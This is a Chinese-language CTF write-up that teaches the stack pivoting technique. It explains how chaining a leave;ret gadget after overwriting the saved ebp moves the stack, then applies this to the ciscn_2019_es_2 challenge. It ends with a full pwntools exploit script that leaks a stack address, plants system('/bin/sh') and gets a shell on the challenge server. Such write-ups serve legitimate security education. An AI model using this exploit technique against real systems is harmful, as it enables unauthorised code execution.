栈迁移原理介绍与应用
本文将对CTF Pwn中「栈迁移」(又称「栈转移」)这一技术进行介绍与分析,希望读完本文后以下问题将不再困扰你:
- 什么是栈迁移?
- 栈迁移解决了什么问题?
- 怎么使用栈迁移这个技巧?
开始之前,有如下预备知识会极大提升你的阅读体验:
- CTF Pwn是在做什么?提权(Getshell)是什么意思?
- 在操作系统内存布局中,栈是一种怎样的结构,具有怎样的特点?
- x86中常用寄存器的名称与作用?函数调用栈的原理与过程是怎样的?
- 栈溢出攻击的核心技巧是什么?
栈溢出是怎么回事?
在预备知识的4个问题中,也许第四个会困扰到你。其实,如果知道了前三个问题的答案,联想编程时偶尔出现的「Error:Index out of bound」报错,栈溢出(stackoverflow)是怎么一回事也非常简单了。下图是一个函数栈布局的常见状态。
顾名思义,栈溢出就是当外界输入过长时,将会超过局部变量(常为数组)的「势力范围」,从而造成数据溢出;如下图所示。
因此,栈溢出能使我们覆盖栈上某些区域的值,甚至是当前函数的返回地址 ret ;一旦 ret 覆盖为某个奇怪的值,例如 0xdeadbeaf,当函数结束恢复现场,即 eip 指向 ret 时,程序将会跳转到内存中的 0xdeadbeaf 处。此时,内核会立即告诉我们“SIGSEV”,即常见的段错误(Segment Fault)。
问题来了,如果不是一个奇怪的值呢?如果是一个合法的地址呢?如果是程序中另外某个函数甚至是shellcode的地址呢?因此,一旦程序缓冲区变量可以被恶意用户控制,而且栈空间足够大,程序原有执行流很可能会被破坏。
这就是栈溢出攻击的核心原理。
那栈迁移是什么?
包租婆,怎么没水了呢?
在完成一般的栈溢出攻击时,有一个充分条件是「栈上有足够的地方让攻击者进行布局」。通常的函数栈剩余空间是足够放置一些恶意指令的,但也有少数极端情况,例如仅能容纳一个 ret与一个 ebp。此时,一般的栈溢出攻击方法将由于空间太小而不再适用。
“包租婆,怎么没水了呢?”
“栈,你怎么没地方了呢?”
没水,那我们自己去找水
既然此处的函数栈无我容身之地,那不妨另换一处来打运动战。这便是「栈迁移」的核心思想。所以该如何调动栈上的布局呢?
要知道这个问题的答案,首先要回顾一个函数在被调用以及结束时的汇编代码以及栈的变化。
如图所示,当上层函数调用foo函数,即
eip 执行到call foo指令时,call 指令以及foo函数开头的指令依次做了如下事情来「保护现场」:
- 牢记foo结束后应从哪里继续执行(保存当前 eip下面的位置到栈中,即 ret);
- 牢记上层函数的栈底位置(保存当前 ebp 的内容到栈中,即为old ebp);
- 牢记foo函数栈开始的位置(保存当前栈顶的内容到 ebp,便于foo函数栈内的寻址);
可以看到,这三件事分别对应了图中①②里的汇编语句。而当call foo指令执行完后,栈中的内容如下图左所示,之后程序就由foo函数接管了。
当foo函数执行结束时,eip 即将执行 leave 与
ret
两条指令恢复现场,此时栈中内容如上图右所示。而由前文可知,leave 与 ret 指令则相当于完成如下事情来「恢复现场」:
- 清空当前函数栈以还原栈空间(直接移动栈顶指针 esp 到当前函数的栈底 ebp );
- 还原栈底(将此时 esp 所指的上层函数栈底 old ebp 弹入 ebp 寄存器内);
- 还原执行流(将此时 esp 所指的上层函数调用foo时的地址弹入 eip 寄存器内);
可以看到,这三步恰好为之前三步的逆过程。在「恢复现场」的过程中,栈顶指针的位置将完全由 ebp 寄存器的内容所控制(mov esp, ebp),而 ebp 寄存器的内容则可由栈中数据控制(pop ebp)。由此,反过来思考,一旦攻击者能篡改栈上原old ebp 内容,则能篡改 ebp 寄存器中的内容,从而「有可能」去篡改 esp 的内容,进而影响到 eip。这一流程其实就是栈迁移的核心思想,如下图所示。
上文中「有可能」被标注,这是因为 leave 所代表的子指令是有先后执行顺序的,即无法先执行 pop ebp ,再执行 mov esp, ebp,因此直觉上无法先影响 ebp 再影响 esp。然而,既然栈上原 ebp 与 ret 数据也可被任意篡改,这样一来是否能扭转二者的执行顺序呢?
答案当然是可以的。如果将栈上 ret 部分覆盖为另一组 leave ret指令(gadget)的地址,即最终程序退出时会执行两次 leave 指令,一次 ret 指令。由此,当 pop ebp 被第一次执行后,eip 将指向又一条 mov esp, ebp指令的地址,而此时 ebp 寄存器的内容已变为了第一次 pop ebp 时,被篡改过的栈上 ebp 的数据。这样,esp 就会被「骗」到了另外的一处内存空间,从而整个函数的栈空间也完成了「迁移」。
栈迁移
理解上文后,相信你已经明白了栈迁移的核心思想,下面给出完整的栈迁移攻击实施过程。
Step1. 首先确定缓冲区变量在溢出时,至少能覆盖栈上
ebp 与
ret 两个位置。之后,选取栈要被劫持到的地址;例如,若能在bss等内存段上执行shellcode,则可将栈迁移到shellcode开始处。记该地址为
HijackAddr
Step2. 寻找程序中一段
leave ret
gadget的地址,记该地址为 LeaveRetAddr
Step3. 设置缓冲区变量,使其将栈上 ebp 覆盖为
HijackAddr-4,将 ret 覆盖为LeaveRetAddr
Step4. 程序执行至函数结束时,将依次发生如下事件:
- 执行指令:mov esp, ebp,还原栈顶指针至当前函数栈底;此时 esp 指向栈上被篡改的 ebp 数据,即 HijackAddr-4;
- 执行指令:pop ebp,将篡改的HijackAddr-4放入 ebp 寄存器内;此时 esp 上移,指向栈上被篡改的 ret 数据
3. 执行指令:pop eip,将LeaveRetAddr放入eip寄存器内,篡改执行流,以执行第二遍leave指令;
4. 执行指令(第二遍的leave指令):mov esp, ebp,将HijackAddr-4移入 esp 寄存器内,即栈顶指针被劫持指向了 HijackAddr-4,发生了栈的迁移;
5. 执行指令(第二遍的leave指令):pop ebp,无实际效用,ebp寄存器仍为HijackAddr-4,但此时esp 被拉高4个字节,指向HijackAddr;
6. 执行指令:pop eip,将HijackAddr移入eip 内,成功篡改执行流至shellcode区域;
Step5. 程序执行shellcode,攻击结束。
一个形象点的过程如下。
"
ebp:来嘛
esp:来了(mov esp, ebp)
ebp:坏了(pop ebp)
esp:你咋了
ebp:来嘛
esp:?这不来了(mov esp, ebp)
esp: 坏了
eip: 坏了(pop eip)
"
栈迁移的效果是怎样的呢?
在CTF Pwn中如果遇到栈空间过小的情况,则可以考虑使用栈迁移技术。下面以 BUUOJ 中
Pwn 的 ciscn_2019_es_2 一题为例进行介绍。
首先使用 checksec 观察二进制文件 ciscn_2019_es_2 的保护属性,发现仅「NX
栈执行保护」是开启的。之后,将题目给出的二进制文件拖入IDA 32bit,容易发现在
vuln 函数中,直接使用
read
函数读取输入到栈上,如下图所示。
此外,二进制文件中存在着一
hack 函数,该函数调用了 system,但并不能直接打印flag。因此,利用
read
函数也许可以覆盖栈上数据并写入 /bin/sh,使其执行 system 以getshell。
然而,栈上变量 s 位于 ebp-0x28,而
read
函数仅能读入0x30个字节,那么若想实施缓冲区溢出,只有0x08 =
0x30-0x28个字节供我们进行布局。因此,在只有 ebp 与
ret 能被篡改的条件下可尝试使用栈迁移技术。
判定栈迁移的实施条件
栈迁移能被实施的条件有二:
- 存在 leave ret 这类gadget指令
- 存在可执行shellcode的内存区域
对于条件一,使用ROPGadget可查看存在哪些gadget。如下图所示,程序中许多地方都存在一条 leave ret 指令,因此条件一满足。对于条件二,system函数让「可执行」成为了可能,/bin/sh 则需要我们自行写入。
因此,两条件都可被满足,下面就需要实施栈迁移完成攻击。
分析与栈迁移的实施
根据前文,首先要明确getshell最终要在哪里进行。在本题中,不能直接在 bss
等段写入shellcode,而是应设法调用
system
等gadget,则可利用的区域仅有缓冲区变量
s
所覆盖的0x28个字节。因此,我们最终要将 esp(与 ebp)劫持到当前栈的另一区域上,以完成传统栈溢出payload的实施。
Step1. 确定劫持地址与偏移
注意到文件提供了 printf 这一输出函数,该函数在未遇到终止符 '\0' 时会一直输出。利用该特性可帮助我们泄露出栈上的地址,从而能计算出要劫持到栈上的准确地址。
在本题中,劫持目标地址即为缓冲区变量 s 的起始地址。要计算这一地址,可采取 栈上ebp + 偏移量
的方法。其中,栈上ebp可由 printf 函数泄露得到,偏移量的确定则需要进行调试分析。如图所示,可在 vuln 函数中 0x80485fc 的 nop 处设置断点,在运行时仅输入
aaaa 进行定位即可。
由图可知,此时 esp 位于 0xffffd2a0 处,即缓冲区变量开头的'aaaa',ebp寄存器位于 0xffffd2c8,而该地址所存内容,即栈上 ebp 为
0xffffd2d8,为上层main函数的old ebp。old ebp 与
缓冲区变量 相距 0x38,这说明只要使用 printf 泄露出攻击时栈上ebp所存地址,将该地址减去0x38即为 s
的准确地址,即栈迁移最终要劫持到的地方。
Step2. 设计栈迁移攻击过程
之后就是栈迁移大展神通的地方了。要完成栈迁移的攻击结构,就要覆盖原栈上 ret为 leave ret gadget的地址,本题中可覆盖为 0x080484b8;要将esp劫持到 old_ebp -0x38处,就要将原ebp中的 old_ebp 覆盖为old_ebp
-0x38,其中 old_ebp 可通过第一次 read & printf 泄露得到。此时栈迁移payload的框架如下图所示。
在上图中的Payload中, vuln 函数正常执行到leave指令时, ebp 寄存器将被赋予 old_ebp -0x38,而之后执行
ret(即第二个 leave ret)时, esp 将随之被覆盖为该值,因此该payload已然能实现将 esp 劫持至
old_ebp -0x38处的栈迁移效果了。
接下来则要向该框架中填充执行 system 的shellcode 以完成对
eip
与执行流的篡改。此处与传统的栈溢出攻击类似,下面直接给出payload结构。
上图中,栈迁移的最后一个
pop eip 执行结束后, esp 将指向 aaaa 后的内容开始执行,故此处要填上 system 函数地址,那么后面则应为一个 fake ebp
来维持栈操作的完整性。再往后则是 system 的函数参数,即 /bin/sh 的地址。而 /bin/sh 本身我们也可由 read 函数输入到该区域内,因此其地址恰好也在栈上。
综上即为完成栈迁移攻击的完整过程及payload。
Step3. 攻击脚本编写
在第一次 read 以泄露出栈上ebp内容时,注意应使用pwntools中的 send 而非
sendline,否则payload末尾会附上终止符导致无法连带打印出栈上内容。其余环节按照payload构造直接编写即可,如下所示。
from pwn import *
p = remote("node4.buuoj.cn", 27576)
system_addr = 0x08048400
leave_ret = 0x080484b8
payload1 = b'A' * (0x27) + b'B'
p.send(payload1) # not sendline
p.recvuntil("B")
original_ebp = u32(p.recv(4))
print(hex(original_ebp))
payload2 = b'aaaa' # for location, start of hijaction
payload2 += p32(system_addr)
payload2 += b'dddd' # fake stack ebp
payload2 += p32(original_ebp - 0x28) # addr of binsh
payload2 += b'/bin/sh\x00' # at ebp-0x28
payload2 = payload2.ljust(0x28, b'p')
payload2 += p32(original_ebp - 0x38) # hijack ebp ,-0x38 is the aaaa
payload2 += p32(leave_ret) # new leave ret
p.sendline(payload2)
p.interactive()
最终,直接运行该脚本,可成功 getshell!
总结一下
【脆弱的栈】总结全文,栈迁移这一技术实际上也很简单直观。栈迁移能成功实施的核心原因就是,程序中存在着能让 ebp 修改 esp 内容的gadget,如示例中的 leave ret 指令。只有这样,篡改 ebp 后才能影响到 esp 。换言之,任何使用栈上数据修改 esp 的行为都是十分危险的,而在栈迁移中,恰好就用能被轻易修改的 ebp 实现了对 esp 的篡改。
【套娃Payload】在构造栈迁移的payload时,只需要在payload外层布局好要劫持的地址,在这种框架下payload内部保持传统栈溢出攻击的结构即可。
【esp与ebp】栈迁移的攻击方法淋漓尽致地阐释了「栈顶指针」以及「栈基地址」的意义
最后以一段与栈迁移原理相似的歌词来收尾吧。
“当初专心跟你烛光晚餐,从没有认识蜡烛怎样消散” ——林夕《搜神记》
感谢你的阅读,希望能给予你一些帮助和启发,欢迎你的建议!
PS:原文中应首先劫持ebp(或esp)到HijackAddr - 4,而非之前版本中的HijackAddr + 4, 感谢 @pukrquq 指出这一错误。